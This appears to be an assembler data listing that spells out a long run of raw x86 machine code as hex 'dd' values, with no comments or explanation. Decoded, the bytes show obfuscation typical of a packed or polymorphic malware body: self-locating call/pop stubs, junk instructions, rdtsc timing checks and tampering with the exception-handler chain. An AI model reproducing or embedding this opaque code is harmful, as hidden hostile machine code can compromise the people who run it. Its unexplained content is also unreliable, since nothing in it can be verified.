dd 0E90F998Dh, 58D8B05h, 6A05E908h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5746C355h
dd 117D679h, 0E9272D9Dh, 0C28B5005h, 0C103188Bh, 0C18B188Bh
dd 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 3B19C353h, 0C7816674h
dd 0ECBFC65Dh, 832498ACh, 0E91CF1BDh, 840F0005h, 69h, 355BD89h
dd 0B805E9h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 0E3A4C351h, 7F957C6h
dd 11BD8B13h, 2305E919h, 0E9252DBDh, 6D8D8D05h, 6A05E94Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 6DBC351h, 0C2433AC1h, 0B749B908h, 8BE1FF3Bh
dd 3DBD83F9h, 5E916h, 3D2840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 17AE88C3h
dd 0A5AC8F69h, 8B66E6F6h, 3DBD83F8h, 105E916h, 3B9840Fh
dd 0BF0F0000h, 219589DFh, 8305E900h, 0E9163DBDh, 860F0305h
dd 36Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 46C35242h, 39688575h, 50006A60h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 2B2E24EEh
dd 0E92519BDh, 99B58905h, 6605E927h, 6E9D98Ch, 75000000h
dd 0D74EB5A6h, 4E180FFh, 0AFA8B66h, 0C840FC9h, 0BF000001h
dd 5B3637C9h, 8B7ADB80h, 0E9286985h, 0E99D8B05h, 3305E90Ah
dd 0E90E6185h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 9C9A9FFDh, 3BF1BF50h
dd 489325Eh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0DA477B9Ah, 665E314Bh, 5AD4E381h
dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 0BD89FCC3h, 5E91791h, 628F0068h, 5FB5BF6Fh
dd 348117A7h, 7D8CFF24h, 0D185896Fh, 0FF05E90Fh, 0E9292D95h
dd 8D895105h, 5E90191h, 0CE85895Fh, 6A05ECBAh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 0F41C351h, 0E3E9D9B7h, 6A000001h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 213AC350h
dd 0AE8h, 0D321E00h, 9F08C831h, 66F3E33Fh, 8B5FF98Bh, 0ECBAC685h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 0E6161C69h, 0E9DDFEBFh, 0Ch, 0A6979ED2h
dd 0CDA58DC7h, 5DC7F6A4h, 1800C7h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E99B40C3h
dd 0Eh, 7036FD0Ah, 58C95355h, 4D7893E7h, 8529EA08h, 5E90FC9h
dd 0BACAB58Bh, 94BF05ECh, 8B6092E6h, 0E92F3985h, 0F8068905h
dd 2869858Bh, 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 954B5EC3h, 44689A4h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DCC35242h, 4764756Fh
dd 8B96663Dh, 8E0F50D9h, 2, 6A96D98Bh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6F8CC351h
dd 0A14E57A5h, 68524FFEh, 0ABEB8166h, 0B70F6044h, 0B18589DBh
dd 6105E92Eh, 0BAC6B5FFh, 9D8B05ECh, 5E915E5h, 650BC468h
dd 0F88A6017h, 52505250h, 585A310Fh, 0BF66310Fh, 585A5A6Ch
dd 24348161h, 177A083Bh, 0C05CE781h, 858D06C2h, 5ECBACEh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7EC35545h
dd 0FCAC1829h, 667B2FD1h, 0FF799BBh, 8A50FEB7h, 240489DAh
dd 0EF816656h, 0FF5FDC46h, 0E9292D95h, 57006A05h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 9E10D608h, 0F78F3A45h, 3399D01h, 666105E9h, 85C7D88Bh
dd 5E9163Dh, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 8AC35646h, 212B184h, 6DBF66CCh, 0CEBD83DBh, 5ECBAh
dd 7840Fh, 1DE90000h, 8B000000h, 0C3050FAh, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h
dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0C9C35545h, 55832B97h, 0DE9h
dd 0F0958F00h, 3502C52Ch, 5B5FB330h, 6ABE9Eh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 14507BC3h
dd 11E913h, 8E150000h, 93CD5A4Eh, 72B7E69Eh, 0D14C2873h
dd 83020E9Fh, 0E9163DBDh, 850F0305h, 409h, 1ED19D8Bh, 840F05E9h
dd 6, 1DFD9D8Bh, 0BD8305E9h, 5ECBACEh, 0EA840F00h, 60000003h
dd 1911858Bh, 0FF6105E9h, 0ECBACEB5h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0BBFE91A4h, 3AED58F2h, 2B7595FFh, 11E905E9h, 9C000000h
dd 0E0E91CEAh, 0F2EAD2BBh, 4F4F9137h, 1E27839Dh, 0BAC2B58Bh
dd 526005ECh, 10E9h, 0F4DE1800h, 968ACBAEh, 532820BAh
dd 0ADCDA452h, 0C7615BB0h, 1000106h, 84ACBB00h, 53960578h
dd 8B0F505Bh, 0
dd 8D8B6096h, 5E92231h, 0CEB5FF61h, 0B305ECBAh, 4D95FF07h
dd 6A05E92Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 718FC356h, 5E6C2BA2h, 6DB58992h
dd 8B05E911h, 0ECBAC2B5h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 7E137B56h
dd 0B10B69FBh, 0DD858B4Fh, 0E905E90Fh, 0Eh, 0F8F8C69Ah
dd 391E3A2Ah, 66A23A66h, 8689FC5Dh, 0C4h, 11E9h, 4C0E0100h
dd 25392F7Fh, 7F08288Fh, 994CC8Bh, 958B0051h, 5E92655h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CDC35343h
dd 2C2E3CCDh, 8904C283h, 0E92F3DBDh, 20508905h, 890Fh
dd 858D0000h, 5ECD055h, 23EBB66h, 0B88689h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 0B9D6D3C3h, 945FA69Fh, 6E912h, 7A2D0000h, 2CA9FBBEh
dd 16C9BD89h, 0EE905E9h, 37000000h, 4DF2588Eh, 0AD3F090Ah
dd 891519DAh, 6A006AC2h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 7C86C352h, 0AC5FAE00h
dd 0CEB5FF15h, 0F05ECBAh, 683h, 0F9BD8B00h, 0FF05E900h
dd 0E900AD95h, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0BD030553h, 5E91065h
dd 6A965096h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 55FFC357h, 0E169E1F8h, 0B5FFECA8h
dd 5ECBACEh, 95FFDA8Ah, 5E93231h, 1DD78166h, 0B1BD8361h
dd 5E92Ah, 6B840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0C7CC2CC3h, 509BF943h
dd 10E8h, 0A4F32000h, 713A5FCCh, 0D2EC7567h, 0A6FE6645h
dd 34895B08h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 464AC0FEh, 1A3FC0F9h, 3D8D890Dh
dd 8B05E92Eh, 0E932F59Dh, 0CEB5FF05h, 6005ECBAh, 0BB99D89h
dd 880F05E9h, 1, 95FF61F5h, 5E92F61h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 0CAC35747h, 548796C1h, 0B384F6E3h
dd 0BD3360BEh, 5E93075h, 6E9h, 75A31000h, 61E67330h, 0BACEB5FFh
dd 0BD8B05ECh, 5E92651h, 2DC595FFh, 10E905E9h, 46000000h
dd 0F7D17448h, 38A20C5Ch, 9271DF4Bh, 83B56731h, 0E903FDBDh
dd 840F0205h, 5Fh, 5E960h, 0A530000h, 5622E85Fh, 8AE88166h
dd 8B615AA4h, 0E9305585h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0C66F1Ah, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 2E2BD4F5h, 0D5BD8BA1h, 0C705E928h, 0E927A985h, 5, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 77283422h, 0EF80EF0Ch, 0EE9C3h, 20F00000h, 2398544Eh
dd 0E9D5DFCFh, 614CD86Fh, 0C5DB8166h, 0F393E954h, 8B53FFFFh
dd 0E927659Dh, 0C18B5B05h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 27C35646h, 8BAB9EBEh, 0E91F519Dh, 0E5858D05h
dd 6605E921h, 5090D88Bh, 0DE8h, 5D2F2300h, 8659824Bh, 51028955h
dd 905B77CBh, 178D9D89h, 6A05E9h, 6A9EEF80h, 0F7816600h
dd 858DCE8Dh, 5EDE607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 5CC35747h, 98814C78h, 0FC0B0EC6h, 5E986h
dd 0D8060000h, 811CCDADh, 0C91BACF3h, 5C0834Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 8BC35646h, 635F0B1Fh
dd 89DF8B50h, 0E7802404h, 0E9006AB9h, 0Ah, 0C225BADDh
dd 0DC4FA80Ah, 6A5CD6h, 0A195FFF5h, 6A05E90Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 2166C350h, 0F1CF5554h, 0BF8D8DACh, 6A05ECADh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 6974C355h, 6C787C9Eh, 8BA1E375h, 0E93209BDh, 6AD1FF05h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 6BACC357h, 0C78B6660h, 8961B6B7h, 0E90201BDh
dd 5DBD0B05h, 8305E90Fh, 0E901BDBDh, 850F0105h, 0C0h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B6C35646h, 0FDBD2979h
dd 6A05E92Dh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 8C49FE93h, 1DF38166h, 0E8519004h
dd 0Bh, 27DD303Fh, 1157AEC8h, 0F4592BDh, 86h, 505B5B00h
dd 624F15BBh, 6A9005h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 55C854C3h, 0DC0371Bh, 0BD030C47h
dd 5E90C8Dh, 0AD95FFh, 6A05E9h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0F8B33BC3h, 0B529F65Fh
dd 5E90919h, 0CC4E9h, 0E800h, 815D0000h, 0EDE611EDh, 6E805h
dd 5FA10000h, 2D5FF539h, 5BFFB70Fh, 6840Fh, 9D8B0000h
dd 5E92FDDh, 904B858Dh, 0FE805ECh, 20000000h, 0C465ED18h
dd 0D2AB825Dh, 0F433CD7Ah, 8531F1ADh, 5E905C9h, 0B460905Fh
dd 0AB96680h, 50506185h, 11810F52h, 0E8000000h, 0Bh, 0DCD3B304h
dd 5E258EBAh, 5F6AB829h, 68BB310Fh, 5A68324Eh, 0E3809058h
dd 35FF645Ah, 0
dd 28659D31h, 64F505E9h, 2589h, 0D7BB0000h, 0FF5C4095h
dd 0E9068985h, 0D98A5105h, 89FF6A5Bh, 0E92EC195h, 5DBD8905h
dd 0FF05E92Dh, 0E915DDB5h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 9BD890Fh, 0FF05E90Dh
dd 0E907C995h, 13CE905h, 85890000h, 5E927F1h, 9E800B0h
dd 9D000000h, 222DA9DAh, 0AC752780h, 23899D8Bh, 295F05E9h
dd 0E9004D95h, 0E970E605h, 8, 785864B8h, 0D1ED2C58h, 613C71E4h
dd 100830Fh, 66600000h, 23EECE81h, 1F258531h, 0F6105E9h
dd 0DF81C8B6h, 0E631A5Fh, 9DD9BF66h, 6BAh, 25FDBB00h, 0C18B6E6Bh
dd 8B04E8C1h, 0E917219Dh, 0E2F76605h, 8DD78166h, 0DE846h
dd 0B4630000h, 3D370EFAh, 0A954C516h, 5108E257h, 5E9h
dd 0E691DC00h, 5F5B2570h, 8166C82Bh, 8BFCBEDBh, 0D9BF66D1h
dd 98E901h, 0B70F0000h, 44858BD8h, 505F4C4Ch, 25BA6660h
dd 870F87h, 61000000h, 7C0835Fh, 0BC7D53BBh, 0C0837Ah
dd 1E9D8589h, 0BF6605E9h, 0D03B1793h, 0D830Fh, 0FD8A0000h
dd 5DE9h, 0A9BD8B00h, 8B05E917h, 0FFFFFF8Dh, 0EEE781FFh
dd 3109E2E5h, 0E9042D85h, 1E18305h, 3C840Fh, 0BF660000h
dd 0A583FA4Ah, 0FFFFFFFFh, 10E9FEh, 63870000h, 0AE41C505h
dd 5920918Eh, 990DAA14h, 95894A90h, 5F4C4C44h, 0C258589h
dd 6E905E9h, 70000000h, 0B89E8D36h, 0E909h, 0B58D0000h
dd 5ED662Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0E7C35343h, 3419D23h, 6A05E9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 0BCC35343h, 9E8h, 9A1C4D00h
dd 4BDA477Bh, 5BF85E31h, 1E9595FFh, 8D8905E9h, 5E910ADh
dd 0FDDB9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 38B3FB58h, 0E1838312h, 0C9BD8BFCh
dd 0FC05E92Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0FFC35141h, 23EE9716h, 0B8h, 6AD22B00h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 923FC352h, 8E06BEDFh, 11E8B9h, 0DD560000h, 5F6A46BDh
dd 0ABC65F88h, 0BBDD5CF6h, 66E49939h, 0AD5FF88Bh, 0E8D1C233h
dd 0E983D003h, 60F47504h, 334DEE81h, 0B70F1DE7h, 6A61F1h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0A20957C3h, 0ECE68593h, 477FBF66h, 880Dh, 1DE8B00h
dd 0E9037D85h, 55958B05h, 0F05E926h, 68Ch, 4DBD8B00h, 8B05E923h
dd 0E908058Dh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 7BF30539h, 0CFDEF5DEh
dd 118F0Fh, 0CE90000h, 0CE000000h, 7282FAC0h, 0C1C58550h
dd 507B4A7Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 18BF6658h, 0DEBF0F26h, 0BD835B52h, 5E91CF1h, 81840F00h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 85EFC350h, 0F61E81DAh, 9D9B6D89h
dd 78D9D89h, 0B805E9h, 8B000000h, 0E903E5BDh, 6D8D8D05h
dd 6A05E94Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 3837C355h, 34860686h, 6AE1FFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 4173E1C3h, 9EB3384Ch, 163DBD83h, 0F0005E9h, 47184h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 29D37AC0h, 0E915D99Dh, 3DBD8305h, 105E916h
dd 45B840Fh, 0BD8B0000h, 5E90D01h, 163DBD83h, 0F0305E9h
dd 41286h, 71F38000h, 0F9F38160h, 2B08BE86h, 0E923C9BDh
dd 0D98C6605h, 2DA5BD8Bh, 0E18005E9h, 0D7816604h, 0C90A5D00h
dd 13B840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 676495C3h, 8D3CDA0Eh, 80C46E3Ch
dd 9D034AE3h, 5E92905h, 2869858Bh, 6A05E9h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 9C6CD1C3h
dd 97BF66FAh, 6185331Dh, 6A05E90Eh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B7FC351h
dd 0B59D89DFh, 8905E90Ch, 0E9267D9Dh, 0BF665005h, 4897BE1h
dd 10E924h, 0D7000000h, 0C1F64651h, 563C150Ah, 0BE70992Dh
dd 6AC611h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 41C35040h, 0CB95C06Fh, 0A0E38166h, 0CE68F877h
dd 57AC08DFh, 2404815Bh, 54162431h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 12C35646h, 28ED9589h, 95FF05E9h
dd 5E9292Dh, 0CE8589F9h, 0F505ECBAh, 236E9h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 498F2C32h, 0DDB15E3h, 89F88B66h, 0E931FD8Dh, 0C6858B05h
dd 8B05ECBAh, 0E928EDBDh, 1800C705h, 8B000000h, 0CAB58BF8h
dd 6A05ECBAh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 8FE4C353h, 0EBC6CF1h, 858DA7E1h
dd 0EE9h, 0FA77D600h, 0B7E3E36Fh, 0EA73F4C9h, 8BF5E469h
dd 0E92F3985h, 0C5C38105h, 8964314Ch, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 58CAAC9Eh, 0AFBB67AEh, 8B57FC2Fh, 0E9286985h, 4468905h
dd 28B99D8Bh, 0E99605E9h, 0Dh, 0AB744A3Eh, 0F025605Ch
dd 0E162EF1Ch, 8E95073h, 0C8000000h, 0CF1CD0EAh, 9697E1DEh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 55C35747h
dd 0BD8BDF83h, 5E90E79h, 0BAC6B5FFh, 6A05ECh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 6FD073C3h
dd 4F8F8299h, 0AE8FCDDh, 5B000000h, 8682862Ch, 5C8CAC88h
dd 5F2EB373h, 4E881B3h, 0FF000000h, 0BB001F03h, 174ED561h
dd 0AD15BB50h, 448B3B7Eh, 0DF8B0424h, 12E8008Bh, 91000000h
dd 96447F5h, 83381h, 83AAEABAh, 1836D5CAh, 44895B33h, 0B8600424h
dd 18C4F386h, 15890Fh, 0FE80000h, 0DF000000h, 5D02926h
dd 4217614h, 1404A194h, 615975D7h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 66F4C86Dh
dd 0BF66FB8Bh, 858DE0B0h, 5ECBACEh, 2CF9BD89h, 505005E9h
dd 0FD98B52h, 5ADE8B31h, 24048958h, 1941BD8Bh, 95FF05E9h
dd 5E9292Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 44C35141h, 0AE6159F7h, 0AAEF74EEh, 13E916h, 11550000h
dd 8669AC13h, 0FAA690E5h, 0A569CD28h, 0F26EC261h, 519531F3h
dd 0F05E926h, 28Dh, 61D2B700h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0D9C35545h, 0F07F8777h, 0C9CD08D6h
dd 3D85C702h, 305E916h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 53E9C351h
dd 4069EE1Dh, 0BACEBD83h, 0F0005ECh, 4684h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 2D8068E6h, 16F9B589h
dd 0CE805E9h, 0C1000000h, 0DA160879h, 0D590CAF4h, 66A47804h
dd 5F0565BFh, 21E9h, 1BD8900h, 5005E906h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 9D89C08Bh, 5E90D29h, 1F95BD8Bh
dd 9E805E9h, 62000000h, 0EEE0D658h, 0F757016h, 835BEAB7h
dd 0E9163DBDh, 850F0305h, 37Dh, 1269BD03h, 0BD8305E9h
dd 5ECBACEh, 6A840F00h, 6A000003h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C003C355h
dd 1421A6D9h, 0E04731F2h, 9189BB66h, 0BACEB5FFh, 0BF0F05ECh
dd 7595FFFAh, 8005E92Bh, 0BD23BBF3h, 5E90AA9h, 0BAC2B58Bh
dd 8B6605ECh, 106C7D8h, 81000100h, 75C58FD3h, 0BF669628h
dd 60503593h, 9661FA8Ah, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 2FC35040h, 95297AA8h, 5E92805h, 0BACEB5FFh
dd 0BD8B05ECh, 5E91EEDh, 2B4D95FFh, 8BF805E9h, 0ECBAC2B5h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 9D5369F3h, 6FF92FBFh, 42F8BB66h, 0FDD858Bh
dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 0F496DCC3h, 6078CF66h, 0E599D0Bh, 8B6605E9h
dd 868961D3h, 0C4h, 0C880Fh, 7E90000h, 5F000000h, 0DA336B00h
dd 958B30EFh, 5E92655h, 6880Fh, 9D8B0000h, 5E92AFDh, 0FDE78166h
dd 4C28353h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 78C35747h, 20508905h, 6860Fh, 0EB810000h, 63AFD8E3h
dd 0D055858Dh, 8D8905ECh, 5E91C8Dh, 6AD9D8Bh, 868905E9h
dd 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 51C35040h, 580C3217h, 81665AD0h, 6A53C9E3h, 3880F00h
dd 0F000000h, 0B5FFD8BFh, 5ECBACEh, 21E9BD8Bh, 95FF05E9h
dd 5E900ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 29C35646h, 5096C074h, 8B96FB8Bh, 0E9264D9Dh, 0CEB5FF05h
dd 6605ECBAh, 0E959AFBFh, 12h, 0F3E886E2h, 0DBF7666Ch
dd 63EED7A7h, 77ABCD62h, 95FF1D39h, 5E93231h, 858B6060h
dd 5E92B15h, 611AD580h, 0DA1CE281h, 836166B5h, 0E92AB1BDh
dd 840F0005h, 5Bh, 2FC9B501h, 609605E9h, 61605250h, 14E8310Fh
dd 0AD000000h, 36CAEA5Ah, 3F91B27h, 0E96AE032h, 0C25D8436h
dd 59C03512h, 1EB7585Ah, 0BB665061h, 6A96B460h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0BB03C351h, 33E1A2D7h, 819D8B68h, 0FF05E92Ah, 0ECBACEB5h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 4830F65h, 66000000h, 66F082BFh, 95FFDE8Bh
dd 5E92F61h, 31858D89h, 0B5FF05E9h, 5ECBACEh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B9C35040h, 0E9440C9Eh
dd 11h, 87AE380Fh, 7C95337Ch, 1363D5B9h, 0EA76FF86h, 0C595FF7Eh
dd 0E905E92Dh, 0Bh, 5559132Ch, 60565972h, 83656E5Fh, 0E903FDBDh
dd 840F0205h, 15h, 27999589h, 858B05E9h, 5E93055h, 0C6FABF0Fh
dd 8B660000h, 0A985C7DFh, 5E927h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 3B59C352h, 108712B4h, 0EE8h, 9E8BC100h, 83B2B66Eh, 0CEE89B92h
dd 0FCBDB643h, 0F3E7E95Bh, 8166FFFFh, 8B3EF6E7h, 799D8BC1h
dd 8A05E926h, 0E5858DDCh, 6A05E921h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0D83EC355h
dd 58A0A8F5h, 0E993DD04h, 11h, 0CCAFB5E1h, 2B7B8EF8h, 45CA1387h
dd 472C0AAEh, 820F90B5h, 4, 280BB66h, 0F98B6650h, 0EE890h
dd 78DC0000h, 5FA7D3CCh, 71BDD6AFh, 0F688E060h, 0E9BD8956h
dd 5B05E907h, 6A006A5Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0F302C351h, 66600E0Eh
dd 0BB66F28Bh, 961B735h, 0E923AD8Dh, 89006A05h, 0E90F3995h
dd 0E1858D05h, 6A05EDF4h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 6992C351h, 3DF62A3Ch
dd 9B33DA9Fh, 5C083F8h, 0B158D09h, 8B9005E9h, 850F50DAh
dd 0
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0CC89073Fh, 0C3819E92h, 997EA68h, 8711BB66h
dd 6AD88Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 9DC35747h, 8D89A4F0h, 5E90589h, 6A86B7h, 95FFD88Bh
dd 5E90AA1h, 2DA9BD2Bh, 8D8D05E9h, 5ECADBFh, 9E96BB66h
dd 0D79BD8Bh, 0D1FF05E9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 2DC35040h, 9B1523FEh, 0FD1D925h, 884h
dd 85315100h, 5E921BDh, 43CF815Fh, 835615A5h, 0E901BDBDh
dd 850F0105h, 72h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 96C35242h, 9FA527F0h, 26AD88Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 42C35747h, 26BF6283h
dd 5071D1A0h, 6E96056h, 43000000h, 33474AC3h, 61D38B76h
dd 2404895Fh, 0FFF88B66h, 0E900AD95h, 8E905h, 95590000h
dd 756D6B1Ah, 9CE9E25Ah, 0E800000Dh, 0
dd 0EBED815Dh, 8905EDF4h, 0E900918Dh, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0AE58CAACh, 16DAE867h, 4B858D44h, 6A05EC90h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0E872C356h, 11h, 0E37FF0DEh, 737F00B3h, 0C778BD07h
dd 4758A9BFh, 8D8D0191h, 5F05E91Eh, 0A38BBF90h, 8B502758h
dd 6A90FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0FA4BD5C3h, 0E8A2421Bh, 0Ch, 77F34C7h, 426A6B49h
dd 0CBAF4A1Bh, 55BD8960h, 8005E911h, 5F6127D4h, 35FF64h
dd 0E9000000h, 0Ah, 20F6D7BFh, 0D46B2314h, 0BE8F971h, 0C000000h
dd 0B08FBDDCh, 0B3CD8BFh, 8166EC7Ah, 5F736BD3h, 258964h
dd 1000000h, 0E908359Dh, 8985FF05h, 8905E906h, 0E90DC19Dh
dd 6A35B305h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 1D028A7h, 0E92B9D9Dh, 0EDB5FF05h
dd 6A05E930h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 4CBCC356h, 2C6CBF25h, 0DF813356h
dd 29E975ACh, 7C995FFh, 35E905E9h, 9000001h, 0E932F5B5h
dd 8B00B005h, 0E930F5BDh, 8170E605h, 0C6165FCFh, 0BF71E440h
dd 25E72D89h, 11E9h, 75FB9A00h, 3D7B2818h, 562198B2h, 0BA04DF38h
dd 613C2566h, 0FA830Fh, 0BD8B0000h, 5E92E5Dh, 0FC8B60Fh
